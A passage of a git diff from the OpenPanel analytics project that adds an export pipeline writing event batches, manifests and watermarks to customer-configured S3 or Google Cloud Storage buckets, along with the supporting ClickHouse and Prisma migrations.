export * from './crypto';
+export * from './encryption';
export * from './profileId';
export * from './parser-user-agent';
export * from './parse-referrer';
diff --git a/packages/db/code-migrations/18-add-events-inserted-at.ts b/packages/db/code-migrations/18-add-events-inserted-at.ts
new file mode 100644
index 000000000..c7964fff2
--- /dev/null
+++ b/packages/db/code-migrations/18-add-events-inserted-at.ts
@@ -0,0 +1,56 @@
+import fs from 'node:fs';
+import path from 'node:path';
+import {
+ addColumns,
+ runClickhouseMigrationCommands,
+} from '../src/clickhouse/migration';
+import { getIsCluster } from './helpers';
+
+export async function up() {
+ const isClustered = getIsCluster();
+
+ // `inserted_at` is the ingestion (CH-insert) time, used as the cursor for the
+ // object-store export job. New rows set it explicitly at insert time (see
+ // createEvent / moveImportsToProduction). The DEFAULT is `created_at` — NOT
+ // `now()` — on purpose: a DEFAULT now() on a column added to an existing
+ // MergeTree is evaluated lazily at read time for pre-migration parts, so old
+ // rows would read as "just inserted" on every scan and never settle. Defaulting
+ // to the existing `created_at` column is deterministic and needs no part
+ // rewrite, so historical rows keep a stable, in-the-past inserted_at.
+ // `inserted_at` is not part of the table's ORDER BY, so the windowed export
+ // query (WHERE inserted_at > cursor) can't use the primary index. A minmax
+ // skip index lets ClickHouse skip granules whose inserted_at range is entirely
+ // below the cursor. It only needs to exist on the local MergeTree (the
+ // `_replicated` table when clustered); the distributed table has no data.
+ const indexName = 'idx_inserted_at';
+ const indexExpr = `ADD INDEX IF NOT EXISTS ${indexName} inserted_at TYPE minmax GRANULARITY 1`;
+ const indexSql = isClustered
+ ? `ALTER TABLE events_replicated ON CLUSTER '{cluster}' ${indexExpr}`
+ : `ALTER TABLE events ${indexExpr}`;
+
+ const sqls: string[] = [
+ ...addColumns(
+ 'events',
+ ['`inserted_at` DateTime64(3) DEFAULT created_at AFTER `imported_at`'],
+ isClustered,
+ ),
+ indexSql,
+ ];
+
+ fs.writeFileSync(
+ path.join(__filename.replace('.ts', '.sql')),
+ sqls
+ .map((sql) =>
+ sql
+ .trim()
+ .replace(/;$/, '')
+ .replace(/\n{2,}/g, '\n')
+ .concat(';'),
+ )
+ .join('\n\n---\n\n'),
+ );
+
+ if (!process.argv.includes('--dry')) {
+ await runClickhouseMigrationCommands(sqls);
+ }
+}
diff --git a/packages/db/index.ts b/packages/db/index.ts
index 15c8ccea3..550db330c 100644
--- a/packages/db/index.ts
+++ b/packages/db/index.ts
@@ -4,6 +4,7 @@ export * from './src/clickhouse/query-builder';
export * from './src/encryption';
export * from './src/engine';
export * from './src/engine';
+export * from './src/exports';
export * from './src/gsc';
export * from './src/prisma-client';
export * from './src/services/access.service';
diff --git a/packages/db/prisma/migrations/20260622204749_export_watermarks/migration.sql b/packages/db/prisma/migrations/20260622204749_export_watermarks/migration.sql
new file mode 100644
index 000000000..5df01e977
--- /dev/null
+++ b/packages/db/prisma/migrations/20260622204749_export_watermarks/migration.sql
@@ -0,0 +1,24 @@
+-- CreateTable
+CREATE TABLE "public"."export_watermarks" (
+ "id" UUID NOT NULL DEFAULT gen_random_uuid(),
+ "projectId" TEXT NOT NULL,
+ "integrationId" UUID NOT NULL,
+ "lastInsertedAt" TIMESTAMP(3) NOT NULL,
+ "lastEventId" TEXT NOT NULL DEFAULT '',
+ "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
+ "updatedAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
+
+ CONSTRAINT "export_watermarks_pkey" PRIMARY KEY ("id")
+);
+
+-- CreateIndex
+CREATE INDEX "export_watermarks_integrationId_idx" ON "public"."export_watermarks"("integrationId");
+
+-- CreateIndex
+CREATE UNIQUE INDEX "export_watermarks_projectId_integrationId_key" ON "public"."export_watermarks"("projectId", "integrationId");
+
+-- AddForeignKey
+ALTER TABLE "public"."export_watermarks" ADD CONSTRAINT "export_watermarks_projectId_fkey" FOREIGN KEY ("projectId") REFERENCES "public"."projects"("id") ON DELETE CASCADE ON UPDATE CASCADE;
+
+-- AddForeignKey
+ALTER TABLE "public"."export_watermarks" ADD CONSTRAINT "export_watermarks_integrationId_fkey" FOREIGN KEY ("integrationId") REFERENCES "public"."integrations"("id") ON DELETE CASCADE ON UPDATE CASCADE;
diff --git a/packages/db/prisma/schema.prisma b/packages/db/prisma/schema.prisma
index f7b0ff0e9..f7796dd9e 100644
--- a/packages/db/prisma/schema.prisma
+++ b/packages/db/prisma/schema.prisma
@@ -292,6 +292,7 @@ model Project {
imports Import[]
gscConnection GscConnection?
cohorts Cohort[]
+ exportWatermarks ExportWatermark[]
// When deleteAt > now(), the project will be deleted
deleteAt DateTime?
@@ -626,12 +627,33 @@ model Integration {
organizationId String
notificationRules NotificationRule[]
notifications Notification[]
+ exportWatermarks ExportWatermark[]
createdAt DateTime @default(now())
updatedAt DateTime @default(now()) @updatedAt
@@map("integrations")
}
+// Tracks how far the object-store export (S3/GCS) has progressed for a given
+// (project, integration) pair. The cursor is ClickHouse `inserted_at` plus the
+// last event id to break ties within the same millisecond, so windowed reads
+// are exactly-once across runs.
+model ExportWatermark {
+ id String @id @default(dbgenerated("gen_random_uuid()")) @db.Uuid
+ project Project @relation(fields: [projectId], references: [id], onDelete: Cascade)
+ projectId String
+ integration Integration @relation(fields: [integrationId], references: [id], onDelete: Cascade)
+ integrationId String @db.Uuid
+ lastInsertedAt DateTime
+ lastEventId String @default("")
+ createdAt DateTime @default(now())
+ updatedAt DateTime @default(now()) @updatedAt
+
+ @@unique([projectId, integrationId])
+ @@index([integrationId])
+ @@map("export_watermarks")
+}
+
model ResetPassword {
id String @id
accountId String
diff --git a/packages/db/src/exports/batch-creator.ts b/packages/db/src/exports/batch-creator.ts
new file mode 100644
index 000000000..3880c35ec
--- /dev/null
+++ b/packages/db/src/exports/batch-creator.ts
@@ -0,0 +1,219 @@
+import { createGzip } from 'node:zlib';
+import { Readable } from 'node:stream';
+import { pipeline } from 'node:stream/promises';
+import { generateSecureId } from '@openpanel/common/server';
+import { createLogger } from '@openpanel/logger';
+
+import type { IExportEvent } from './export-event';
+
+const logger = createLogger({ name: 'batch-creator' });
+
+/**
+ * Supported export formats
+ */
+export type ExportFormat = 'jsonl_gzip' | 'parquet';
+
+/**
+ * Batch metadata for tracking
+ */
+export interface IBatchInfo {
+ batchId: string;
+ projectId: string;
+ integrationId: string;
+ format: ExportFormat;
+ recordCount: number;
+ minEventTime: string;
+ maxEventTime: string;
+ createdAt: string;
+ // Partition info
+ partitionDate: string; // YYYY-MM-DD
+ partitionHour: string; // HH
+}
+
+/**
+ * Created batch file info
+ */
+export interface IBatchFile {
+ filename: string;
+ content: Buffer;
+ contentType: string;
+}
+
+/**
+ * Result of creating a batch
+ */
+export interface IBatchResult {
+ info: IBatchInfo;
+ files: IBatchFile[];
+}
+
+/**
+ * Generate the object path for a batch
+ * Layout: {prefix}/project_id={projectId}/integration_id={integrationId}/dt=YYYY-MM-DD/hour=HH/batch_id={batchId}/
+ */
+export function generateBatchPath(
+ prefix: string,
+ projectId: string,
+ integrationId: string,
+ batchId: string,
+ date: Date,
+): string {
+ const dt = date.toISOString().split('T')[0]; // YYYY-MM-DD
+ const hour = date.getUTCHours().toString().padStart(2, '0'); // HH
+
+ return [
+ prefix,
+ `project_id=${projectId}`,
+ `integration_id=${integrationId}`,
+ `dt=${dt}`,
+ `hour=${hour}`,
+ `batch_id=${batchId}`,
+ ].join('/');
+}
+
+/**
+ * Get file extension for format
+ */
+export function getFileExtension(format: ExportFormat): string {
+ switch (format) {
+ case 'jsonl_gzip':
+ return 'jsonl.gz';
+ case 'parquet':
+ return 'parquet';
+ }
+}
+
+/**
+ * Get content type for format
+ */
+export function getContentType(format: ExportFormat): string {
+ switch (format) {
+ case 'jsonl_gzip':
+ return 'application/gzip';
+ case 'parquet':
+ return 'application/vnd.apache.parquet';
+ }
+}
+
+/**
+ * Extract the min/max event time across a batch (used for partitioning + the
+ * manifest time range).
+ */
+function eventTimeRange(events: IExportEvent[]): {
+ minEventTime: string;
+ maxEventTime: string;
+} {
+ let minTime: Date | null = null;
+ let maxTime: Date | null = null;
+
+ for (const event of events) {
+ const eventTime = new Date(event.event_time);
+ if (!minTime || eventTime < minTime) {
+ minTime = eventTime;
+ }
+ if (!maxTime || eventTime > maxTime) {
+ maxTime = eventTime;
+ }
+ }
+
+ return {
+ minEventTime: minTime?.toISOString() || new Date().toISOString(),
+ maxEventTime: maxTime?.toISOString() || new Date().toISOString(),
+ };
+}
+
+/**
+ * Create JSONL content from events
+ */
+function createJsonlContent(events: IExportEvent[]): string {
+ return events.map((event) => JSON.stringify(event)).join('\n') + '\n';
+}
+
+/**
+ * Gzip compress content
+ */
+async function gzipCompress(content: string): Promise {
+ const chunks: Buffer[] = [];
+ const gzip = createGzip({ level: 6 });
+ const source = Readable.from([content]);
+
+ await pipeline(source, gzip, async function* (source) {
+ for await (const chunk of source) {
+ chunks.push(chunk as Buffer);
+ }
+ });
+
+ return Buffer.concat(chunks);
+}
+
+/**
+ * Create a batch of events in the specified format
+ */
+export async function createBatch(
+ projectId: string,
+ integrationId: string,
+ events: IExportEvent[],
+ format: ExportFormat = 'jsonl_gzip',
+): Promise {
+ const batchId = generateSecureId('batch');
+ const now = new Date();
+
+ if (events.length === 0) {
+ throw new Error('No valid events to create batch');
+ }
+
+ const { minEventTime, maxEventTime } = eventTimeRange(events);
+
+ // Determine partition based on min event time
+ const partitionDate = new Date(minEventTime);
+ const dt = partitionDate.toISOString().split('T')[0]!;
+ const hour = partitionDate.getUTCHours().toString().padStart(2, '0');
+
+ const info: IBatchInfo = {
+ batchId,
+ projectId,
+ integrationId,
+ format,
+ recordCount: events.length,
+ minEventTime,
+ maxEventTime,
+ createdAt: now.toISOString(),
+ partitionDate: dt,
+ partitionHour: hour,
+ };
+
+ const files: IBatchFile[] = [];
+
+ switch (format) {
+ case 'jsonl_gzip': {
+ const jsonlContent = createJsonlContent(events);
+ const gzippedContent = await gzipCompress(jsonlContent);
+
+ files.push({
+ filename: `part-0000.${getFileExtension(format)}`,
+ content: gzippedContent,
+ contentType: getContentType(format),
+ });
+ break;
+ }
+ case 'parquet': {
+ // Parquet support to be implemented later
+ throw new Error('Parquet format not yet implemented');
+ }
+ }
+
+ logger.info(
+ {
+ batchId,
+ projectId,
+ integrationId,
+ format,
+ recordCount: events.length,
+ partitionDate: dt,
+ partitionHour: hour,
+ },
+ 'Batch created',
+ );
+
+ return { info, files };
+}
diff --git a/packages/db/src/exports/export-event.ts b/packages/db/src/exports/export-event.ts
new file mode 100644
index 000000000..3a440799a
--- /dev/null
+++ b/packages/db/src/exports/export-event.ts
@@ -0,0 +1,72 @@
+import { convertClickhouseDateToJs } from '../clickhouse/client';
+import type { IClickhouseEvent } from '../services/event.service';
+
+/**
+ * Stable, versioned export schema written to the object store (JSONL/Parquet).
+ * Decoupled from the ClickHouse row shape so the export format can evolve
+ * independently of the internal column layout.
+ */
+export interface IExportEvent {
+ event_id: string;
+ project_id: string;
+ event_name: string;
+ event_time: string; // ISO 8601 (the event's created_at)
+ user_id: string | null;
+ session_id: string | null;
+ device_id: string | null;
+ properties: Record;
+ // Geo data
+ country: string | null;
+ city: string | null;
+ region: string | null;
+ // Device data
+ os: string | null;
+ browser: string | null;
+ device: string | null;
+ // Page data
+ path: string | null;
+ origin: string | null;
+ referrer: string | null;
+ // Metadata
+ ingested_at: string; // ISO 8601 (ClickHouse inserted_at)
+ schema_version: number;
+}
+
+export const EXPORT_SCHEMA_VERSION = 1;
+
+const toIso = (chDate: string): string =>
+ convertClickhouseDateToJs(chDate).toISOString();
+
+/**
+ * Map a ClickHouse event row to the stable export schema.
+ */
+export function clickhouseEventToExportEvent(
+ event: IClickhouseEvent,
+): IExportEvent {
+ return {
+ event_id: event.id,
+ project_id: event.project_id,
+ event_name: event.name,
+ event_time: toIso(event.created_at),
+ // device_id doubles as the anonymous profile id; only surface a real,
+ // external user id.
+ user_id:
+ event.profile_id && event.profile_id !== event.device_id
+ ? event.profile_id
+ : null,
+ session_id: event.session_id || null,
+ device_id: event.device_id || null,
+ properties: event.properties ?? {},
+ country: event.country || null,
+ city: event.city || null,
+ region: event.region || null,
+ os: event.os || null,
+ browser: event.browser || null,
+ device: event.device || null,
+ path: event.path || null,
+ origin: event.origin || null,
+ referrer: event.referrer || null,
+ ingested_at: toIso(event.inserted_at || event.created_at),
+ schema_version: EXPORT_SCHEMA_VERSION,
+ };
+}
diff --git a/packages/db/src/exports/index.ts b/packages/db/src/exports/index.ts
new file mode 100644
index 000000000..0aed4a1a7
--- /dev/null
+++ b/packages/db/src/exports/index.ts
@@ -0,0 +1,25 @@
+export {
+ createBatch,
+ generateBatchPath,
+ getFileExtension,
+ getContentType,
+ type ExportFormat,
+ type IBatchInfo,
+ type IBatchFile,
+ type IBatchResult,
+} from './batch-creator';
+
+export {
+ createManifest,
+ serializeManifest,
+ parseManifest,
+ MANIFEST_FILENAME,
+ MANIFEST_CONTENT_TYPE,
+ type IManifest,
+} from './manifest';
+
+export {
+ clickhouseEventToExportEvent,
+ EXPORT_SCHEMA_VERSION,
+ type IExportEvent,
+} from './export-event';
diff --git a/packages/db/src/exports/manifest.ts b/packages/db/src/exports/manifest.ts
new file mode 100644
index 000000000..529614c5a
--- /dev/null
+++ b/packages/db/src/exports/manifest.ts
@@ -0,0 +1,70 @@
+import type { ExportFormat, IBatchInfo } from './batch-creator';
+
+/**
+ * Manifest file structure
+ * This file is uploaded LAST to signal that the batch is complete and ready for loading
+ */
+export interface IManifest {
+ batch_id: string;
+ project_id: string;
+ integration_id: string;
+ format: ExportFormat;
+ files: string[];
+ record_count: number;
+ min_event_time: string;
+ max_event_time: string;
+ schema_version: number;
+ created_at: string;
+ // Partition info for easy discovery
+ partition_date: string; // YYYY-MM-DD
+ partition_hour: string; // HH
+}
+
+const CURRENT_SCHEMA_VERSION = 1;
+
+/**
+ * Create a manifest for a batch
+ */
+export function createManifest(
+ batchInfo: IBatchInfo,
+ fileNames: string[],
+): IManifest {
+ return {
+ batch_id: batchInfo.batchId,
+ project_id: batchInfo.projectId,
+ integration_id: batchInfo.integrationId,
+ format: batchInfo.format,
+ files: fileNames,
+ record_count: batchInfo.recordCount,
+ min_event_time: batchInfo.minEventTime,
+ max_event_time: batchInfo.maxEventTime,
+ schema_version: CURRENT_SCHEMA_VERSION,
+ created_at: batchInfo.createdAt,
+ partition_date: batchInfo.partitionDate,
+ partition_hour: batchInfo.partitionHour,
+ };
+}
+
+/**
+ * Serialize manifest to JSON
+ */
+export function serializeManifest(manifest: IManifest): string {
+ return JSON.stringify(manifest, null, 2);
+}
+
+/**
+ * Parse a manifest from JSON
+ */
+export function parseManifest(json: string): IManifest {
+ return JSON.parse(json) as IManifest;
+}
+
+/**
+ * Manifest filename (always the same)
+ */
+export const MANIFEST_FILENAME = 'manifest.json';
+
+/**
+ * Manifest content type
+ */
+export const MANIFEST_CONTENT_TYPE = 'application/json';
diff --git a/packages/db/src/services/event.service.ts b/packages/db/src/services/event.service.ts
index a20dfc05c..f81cbfdec 100644
--- a/packages/db/src/services/event.service.ts
+++ b/packages/db/src/services/event.service.ts
@@ -91,6 +91,11 @@ export interface IClickhouseEvent {
brand: string;
model: string;
imported_at: string | null;
+ // Ingestion (ClickHouse-insert) time. Set explicitly at insert time; the
+ // column DEFAULTs to created_at for rows that omit it. Used as the cursor for
+ // object-store exports. Optional here because most read queries don't select
+ // it.
+ inserted_at?: string;
sdk_name: string;
sdk_version: string;
revenue?: number;
@@ -401,6 +406,10 @@ export async function createEvent(payload: IServiceCreateEventPayload) {
referrer_name: payload.referrerName ?? '',
referrer_type: payload.referrerType ?? '',
imported_at: null,
+ // Ingestion time, used as the export cursor. Stamped here rather than via the
+ // column DEFAULT so backdated events (server-side, offline, past timestamps)
+ // still get a real, monotonic-ish insert time instead of their event time.
+ inserted_at: DateTime.utc().toFormat('yyyy-MM-dd HH:mm:ss.SSS'),
sdk_name: payload.sdkName ?? '',
sdk_version: payload.sdkVersion ?? '',
revenue: payload.revenue,
diff --git a/packages/db/src/services/import.service.ts b/packages/db/src/services/import.service.ts
index 66a04222a..dc4b3b622 100644
--- a/packages/db/src/services/import.service.ts
+++ b/packages/db/src/services/import.service.ts
@@ -453,14 +453,14 @@ export async function moveImportsToProduction(
session_id, path, origin, referrer, referrer_name, referrer_type,
duration, properties, created_at, country, city, region,
longitude, latitude, os, os_version, browser, browser_version,
- device, brand, model, imported_at
+ device, brand, model, imported_at, inserted_at
)
- SELECT
+ SELECT
id, name, sdk_name, sdk_version, device_id, profile_id, project_id,
session_id, path, origin, referrer, referrer_name, referrer_type,
duration, properties, created_at, country, city, region,
longitude, latitude, os, os_version, browser, browser_version,
- device, brand, model, imported_at
+ device, brand, model, imported_at, now64(3) AS inserted_at
FROM ${TABLE_NAMES.events_imports}
WHERE ${whereClause}
ORDER BY created_at ASC
diff --git a/packages/integrations/package.json b/packages/integrations/package.json
index b860444bf..0fb7d214a 100644
--- a/packages/integrations/package.json
+++ b/packages/integrations/package.json
@@ -7,14 +7,19 @@
"typecheck": "tsc --noEmit"
},
"dependencies": {
+ "@aws-sdk/client-s3": "^3.974.0",
+ "@aws-sdk/client-sts": "^3.974.0",
+ "@google-cloud/storage": "^7.18.0",
+ "@openpanel/common": "workspace:*",
"@slack/bolt": "^3.18.0",
"@slack/oauth": "^3.0.0",
"@openpanel/common": "workspace:*"
},
"devDependencies": {
+ "@openpanel/logger": "workspace:*",
"@openpanel/tsconfig": "workspace:*",
"@openpanel/validation": "workspace:*",
"@types/node": "catalog:",
"typescript": "catalog:"
}
-}
+}
\ No newline at end of file
diff --git a/packages/integrations/src/object-store/gcs-adapter.ts b/packages/integrations/src/object-store/gcs-adapter.ts
new file mode 100644
index 000000000..ebfa035a0
--- /dev/null
+++ b/packages/integrations/src/object-store/gcs-adapter.ts
@@ -0,0 +1,165 @@
+import { Storage } from '@google-cloud/storage';
+import { decryptCredential } from '@openpanel/common/server';
+import { createLogger } from '@openpanel/logger';
+import type { IGCSExportConfig } from '@openpanel/validation';
+
+import type {
+ IObjectStoreAdapter,
+ IUploadOptions,
+ IUploadResult,
+} from './types';
+
+const logger = createLogger({ name: 'gcs-adapter' });
+
+/**
+ * GCS Adapter for uploading export batches to Google Cloud Storage
+ * Uses service account credentials for authentication
+ */
+export class GCSAdapter implements IObjectStoreAdapter {
+ private config: IGCSExportConfig;
+ private storage: Storage | null = null;
+
+ constructor(config: IGCSExportConfig) {
+ // Decrypt the service account key if encrypted
+ this.config = {
+ ...config,
+ serviceAccountKey: decryptCredential(config.serviceAccountKey),
+ };
+ }
+
+ /**
+ * Get or create a GCS Storage client
+ */
+ private getStorage(): Storage {
+ if (this.storage) {
+ return this.storage;
+ }
+
+ try {
+ // Parse the service account key JSON
+ const credentials = JSON.parse(this.config.serviceAccountKey);
+
+ this.storage = new Storage({
+ credentials,
+ projectId: credentials.project_id,
+ });
+
+ logger.debug(
+ {
+ projectId: credentials.project_id,
+ },
+ 'GCS client created',
+ );
+
+ return this.storage;
+ } catch (error) {
+ logger.error({ error }, 'Failed to create GCS client');
+ throw new Error('Invalid service account key JSON');
+ }
+ }
+
+ /**
+ * Upload a single file to GCS
+ */
+ async upload(options: IUploadOptions): Promise {
+ const storage = this.getStorage();
+ const bucket = storage.bucket(options.bucket);
+ const file = bucket.file(options.key);
+
+ try {
+ const content =
+ typeof options.content === 'string'
+ ? Buffer.from(options.content)
+ : options.content;
+
+ await file.save(content, {
+ contentType: options.contentType,
+ resumable: false, // For small files, non-resumable is faster
+ metadata: {
+ contentType: options.contentType,
+ },
+ });
+
+ // Get file metadata to retrieve the generation (similar to etag)
+ const [metadata] = await file.getMetadata();
+
+ logger.debug(
+ {
+ bucket: options.bucket,
+ key: options.key,
+ generation: metadata.generation,
+ },
+ 'File uploaded to GCS',
+ );
+
+ return {
+ bucket: options.bucket,
+ key: options.key,
+ etag: metadata.etag || undefined,
+ location: `gs://${options.bucket}/${options.key}`,
+ };
+ } catch (error) {
+ logger.error(
+ {
+ error,
+ bucket: options.bucket,
+ key: options.key,
+ },
+ 'Failed to upload file to GCS',
+ );
+ throw error;
+ }
+ }
+
+ /**
+ * Upload multiple files to GCS
+ */
+ async uploadMany(
+ options: Array,
+ ): Promise> {
+ const results = await Promise.allSettled(
+ options.map((opt) => this.upload(opt)),
+ );
+
+ return results.map((result) => {
+ if (result.status === 'fulfilled') {
+ return result.value;
+ }
+ return result.reason instanceof Error
+ ? result.reason
+ : new Error(String(result.reason));
+ });
+ }
+
+ /**
+ * Test the connection to GCS bucket
+ */
+ async testConnection(): Promise<{ success: boolean; error?: string }> {
+ try {
+ const storage = this.getStorage();
+ const bucket = storage.bucket(this.config.bucket);
+
+ // Check if bucket exists and we have access
+ const [exists] = await bucket.exists();
+
+ if (!exists) {
+ return {
+ success: false,
+ error: `Bucket '${this.config.bucket}' does not exist or is not accessible`,
+ };
+ }
+
+ return { success: true };
+ } catch (error) {
+ const message = error instanceof Error ? error.message : 'Unknown error';
+ return { success: false, error: message };
+ }
+ }
+}
+
+/**
+ * Create a GCS adapter from integration config
+ */
+export function createGCSAdapter(config: IGCSExportConfig): GCSAdapter {
+ return new GCSAdapter(config);
+}
diff --git a/packages/integrations/src/object-store/index.ts b/packages/integrations/src/object-store/index.ts
new file mode 100644
index 000000000..dbfd87e7a
--- /dev/null
+++ b/packages/integrations/src/object-store/index.ts
@@ -0,0 +1,7 @@
+export { S3Adapter, createS3Adapter } from './s3-adapter';
+export { GCSAdapter, createGCSAdapter } from './gcs-adapter';
+export type {
+ IObjectStoreAdapter,
+ IUploadOptions,
+ IUploadResult,
+} from './types';
diff --git a/packages/integrations/src/object-store/s3-adapter.ts b/packages/integrations/src/object-store/s3-adapter.ts
new file mode 100644
index 000000000..2db5e4c4e
--- /dev/null
+++ b/packages/integrations/src/object-store/s3-adapter.ts
@@ -0,0 +1,293 @@
+import {
+ HeadBucketCommand,
+ PutObjectCommand,
+ type PutObjectCommandInput,
+ S3Client,
+} from '@aws-sdk/client-s3';
+import { AssumeRoleCommand, STSClient } from '@aws-sdk/client-sts';
+import { decryptCredential } from '@openpanel/common/server';
+import { createLogger } from '@openpanel/logger';
+import type { IS3ExportConfig } from '@openpanel/validation';
+
+import type {
+ IObjectStoreAdapter,
+ IUploadOptions,
+ IUploadResult,
+} from './types';
+
+const logger = createLogger({ name: 's3-adapter' });
+
+/**
+ * S3 Adapter for uploading export batches to AWS S3 or S3-compatible storage
+ * Supports two authentication modes:
+ * - IAM role assumption (AWS best practice)
+ * - Access keys (for R2, MinIO, DigitalOcean Spaces, etc.)
+ */
+export class S3Adapter implements IObjectStoreAdapter {
+ private config: IS3ExportConfig;
+ private clientPromise: Promise | null = null;
+ private clientExpiresAt = 0;
+
+ constructor(config: IS3ExportConfig) {
+ // Decrypt secretAccessKey if present and encrypted
+ if (config.authMode === 'access_key') {
+ this.config = {
+ ...config,
+ secretAccessKey: decryptCredential(config.secretAccessKey),
+ };
+ } else {
+ this.config = config;
+ }
+ }
+
+ /**
+ * Get or create an S3 client based on auth mode
+ */
+ private async getClient(): Promise {
+ if (this.config.authMode === 'iam_role') {
+ return this.getClientWithAssumedRole();
+ }
+ return this.getClientWithAccessKeys();
+ }
+
+ /**
+ * Get or create an S3 client using static access keys
+ * For R2, MinIO, DigitalOcean Spaces, etc.
+ */
+ private getClientWithAccessKeys(): S3Client {
+ // Access key clients don't expire, reuse if available
+ if (this.clientPromise && this.clientExpiresAt === 0) {
+ return this.clientPromise as unknown as S3Client;
+ }
+
+ if (this.config.authMode !== 'access_key') {
+ throw new Error('Access key auth mode required but IAM role config provided');
+ }
+
+ const client = new S3Client({
+ region: this.config.region,
+ endpoint: this.config.endpoint,
+ credentials: {
+ accessKeyId: this.config.accessKeyId,
+ secretAccessKey: this.config.secretAccessKey,
+ },
+ // For R2, MinIO, etc.: force path-style addressing
+ forcePathStyle: !!this.config.endpoint,
+ });
+
+ logger.debug(
+ {
+ region: this.config.region,
+ endpoint: this.config.endpoint || 'default',
+ },
+ 'S3 client created with access keys',
+ );
+
+ // Mark as non-expiring
+ this.clientExpiresAt = 0;
+ this.clientPromise = Promise.resolve(client);
+
+ return client;
+ }
+
+ /**
+ * Get or create an S3 client with assumed role credentials
+ */
+ private async getClientWithAssumedRole(): Promise {
+ const now = Date.now();
+
+ // Reuse client if credentials haven't expired (with 5 min buffer)
+ if (this.clientPromise && this.clientExpiresAt > now + 5 * 60 * 1000) {
+ return this.clientPromise;
+ }
+
+ this.clientPromise = this.createClientWithAssumedRole();
+ return this.clientPromise;
+ }
+
+ /**
+ * Create an S3 client by assuming the customer's IAM role
+ */
+ private async createClientWithAssumedRole(): Promise {
+ if (this.config.authMode !== 'iam_role') {
+ throw new Error('IAM role auth mode required but access key config provided');
+ }
+
+ const stsClient = new STSClient({ region: this.config.region });
+
+ const assumeRoleParams: {
+ RoleArn: string;
+ RoleSessionName: string;
+ DurationSeconds: number;
+ ExternalId?: string;
+ } = {
+ RoleArn: this.config.roleArn,
+ RoleSessionName: 'OpenPanelExport',
+ DurationSeconds: 3600, // 1 hour
+ };
+
+ if (this.config.externalId) {
+ assumeRoleParams.ExternalId = this.config.externalId;
+ }
+
+ try {
+ const assumeRoleCommand = new AssumeRoleCommand(assumeRoleParams);
+ const assumeRoleResponse = await stsClient.send(assumeRoleCommand);
+
+ const credentials = assumeRoleResponse.Credentials;
+ if (!credentials) {
+ throw new Error('Failed to assume role: no credentials returned');
+ }
+
+ // Track when credentials expire
+ this.clientExpiresAt =
+ credentials.Expiration?.getTime() || Date.now() + 3600 * 1000;
+
+ const s3Client = new S3Client({
+ region: this.config.region,
+ credentials: {
+ accessKeyId: credentials.AccessKeyId!,
+ secretAccessKey: credentials.SecretAccessKey!,
+ sessionToken: credentials.SessionToken,
+ },
+ });
+
+ logger.debug(
+ {
+ roleArn: this.config.roleArn,
+ expiresAt: new Date(this.clientExpiresAt).toISOString(),
+ },
+ 'S3 client created with assumed role',
+ );
+
+ return s3Client;
+ } catch (error) {
+ logger.error(
+ {
+ error,
+ roleArn: this.config.roleArn,
+ },
+ 'Failed to assume role for S3 access',
+ );
+ throw error;
+ }
+ }
+
+ /**
+ * Get encryption parameters based on config
+ */
+ private getEncryptionParams(): Partial {
+ const encryption = this.config.encryption || 'SSE-S3';
+
+ switch (encryption) {
+ case 'SSE-S3':
+ return {
+ ServerSideEncryption: 'AES256',
+ };
+ case 'SSE-KMS':
+ return {
+ ServerSideEncryption: 'aws:kms',
+ SSEKMSKeyId: this.config.kmsKeyId,
+ };
+ case 'none':
+ return {};
+ default:
+ return {
+ ServerSideEncryption: 'AES256',
+ };
+ }
+ }
+
+ /**
+ * Upload a single file to S3
+ */
+ async upload(options: IUploadOptions): Promise {
+ const client = await this.getClient();
+
+ const putParams: PutObjectCommandInput = {
+ Bucket: options.bucket,
+ Key: options.key,
+ Body: options.content,
+ ContentType: options.contentType,
+ ...this.getEncryptionParams(),
+ };
+
+ try {
+ const command = new PutObjectCommand(putParams);
+ const response = await client.send(command);
+
+ logger.debug(
+ {
+ bucket: options.bucket,
+ key: options.key,
+ etag: response.ETag,
+ },
+ 'File uploaded to S3',
+ );
+
+ return {
+ bucket: options.bucket,
+ key: options.key,
+ etag: response.ETag,
+ location: `s3://${options.bucket}/${options.key}`,
+ };
+ } catch (error) {
+ logger.error(
+ {
+ error,
+ bucket: options.bucket,
+ key: options.key,
+ },
+ 'Failed to upload file to S3',
+ );
+ throw error;
+ }
+ }
+
+ /**
+ * Upload multiple files to S3
+ */
+ async uploadMany(
+ options: Array,
+ ): Promise> {
+ const results = await Promise.allSettled(
+ options.map((opt) => this.upload(opt)),
+ );
+
+ return results.map((result) => {
+ if (result.status === 'fulfilled') {
+ return result.value;
+ }
+ return result.reason instanceof Error
+ ? result.reason
+ : new Error(String(result.reason));
+ });
+ }
+
+ /**
+ * Test the connection to S3 bucket
+ */
+ async testConnection(): Promise<{ success: boolean; error?: string }> {
+ try {
+ const client = await this.getClient();
+
+ const command = new HeadBucketCommand({
+ Bucket: this.config.bucket,
+ });
+
+ await client.send(command);
+
+ return { success: true };
+ } catch (error) {
+ const message = error instanceof Error ? error.message : 'Unknown error';
+ return { success: false, error: message };
+ }
+ }
+}
+
+/**
+ * Create an S3 adapter from integration config
+ */
+export function createS3Adapter(config: IS3ExportConfig): S3Adapter {
+ return new S3Adapter(config);
+}
diff --git a/packages/integrations/src/object-store/types.ts b/packages/integrations/src/object-store/types.ts
new file mode 100644
index 000000000..b28c86fc5
--- /dev/null
+++ b/packages/integrations/src/object-store/types.ts
@@ -0,0 +1,45 @@
+/**
+ * Common types for object store adapters
+ */
+
+/**
+ * Upload options for object store adapters
+ */
+export interface IUploadOptions {
+ bucket: string;
+ key: string;
+ content: Buffer | string;
+ contentType: string;
+}
+
+/**
+ * Result of an upload operation
+ */
+export interface IUploadResult {
+ bucket: string;
+ key: string;
+ etag?: string;
+ location?: string;
+}
+
+/**
+ * Object store adapter interface
+ */
+export interface IObjectStoreAdapter {
+ /**
+ * Upload a file to object storage
+ */
+ upload(options: IUploadOptions): Promise;
+
+ /**
+ * Upload multiple files to object storage
+ */
+ uploadMany(
+ options: Array,
+ ): Promise>;
+
+ /**
+ * Check if the adapter is properly configured and can connect
+ */
+ testConnection(): Promise<{ success: boolean; error?: string }>;
+}
diff --git a/packages/queue/src/queues.ts b/packages/queue/src/queues.ts
index 806829cb1..e0ec709a6 100644
--- a/packages/queue/src/queues.ts
+++ b/packages/queue/src/queues.ts
@@ -185,6 +185,10 @@ export type CronQueuePayloadWindDown = {
type: 'windDown';
payload: undefined;
};
+export type CronQueuePayloadFlushExports = {
+ type: 'flushExports';
